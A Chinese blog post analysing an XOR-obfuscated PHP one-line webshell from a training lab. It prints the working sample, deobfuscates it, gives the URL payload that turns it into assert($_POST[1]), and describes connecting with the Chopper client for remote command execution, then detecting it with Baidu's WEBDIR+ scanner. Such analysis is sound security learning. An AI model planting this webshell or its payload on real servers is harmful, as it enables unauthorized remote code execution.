码迷,mamicode.com
首页 > Web开发 > 详细

WebShell代码分析溯源(四)

时间:2019-10-31 13:27:58      阅读:147      评论:0      收藏:0      [点我收藏+]

标签:字符串   输出   结果   nbsp   代码   www   百度   分析   菜刀   

WebShell代码分析溯源(四)

一、一句话变形马样本

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>

二、代码分析

1、调整代码格式

  技术图片

 

2、分析代码

“^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。

$_++,这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

2.1手动进行异或运算,依次类推得到$___=_POST

  技术图片

2.2$_++在自增之后,$_就变成了1,因此,!$_也就为0,综上分析,${$__}[!$_](${$___}[$_]);也就变成了$_GET[0]($_POST[1]);,此时一句话木马为<?php $_GET[0]($_POST[1]); ?>

2.3构造payload: http://www.test.com/test.php?0=assert,因此一句话木马就变成为<?php  assert($_POST[1]); ?>,然后使用菜刀连接,密码为1

2.4远程代码执行,执行一些命令

   技术图片

 

   技术图片

3、通过调试代码进行分析webshell,搭建php环境(这里使用phpstudy)

  技术图片

4、调试输出结果如下

  技术图片

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(PHP代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe

2、代码环境,下载代码

  技术图片

3、分析(上面已经分析过了)

4、使用菜刀连接

  技术图片

四、后记

学习常用webshell扫描检测查杀工具---WEBDIR+(百度WebShell扫描检测引擎),网址: https://scanner.baidu.com/#/pages/intro

使用WEBDIR+进行webshell查杀

  技术图片

 

   技术图片

 

WebShell代码分析溯源(四)

标签:字符串   输出   结果   nbsp   代码   www   百度   分析   菜刀   

原文地址:https://www.cnblogs.com/yuzly/p/11745761.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!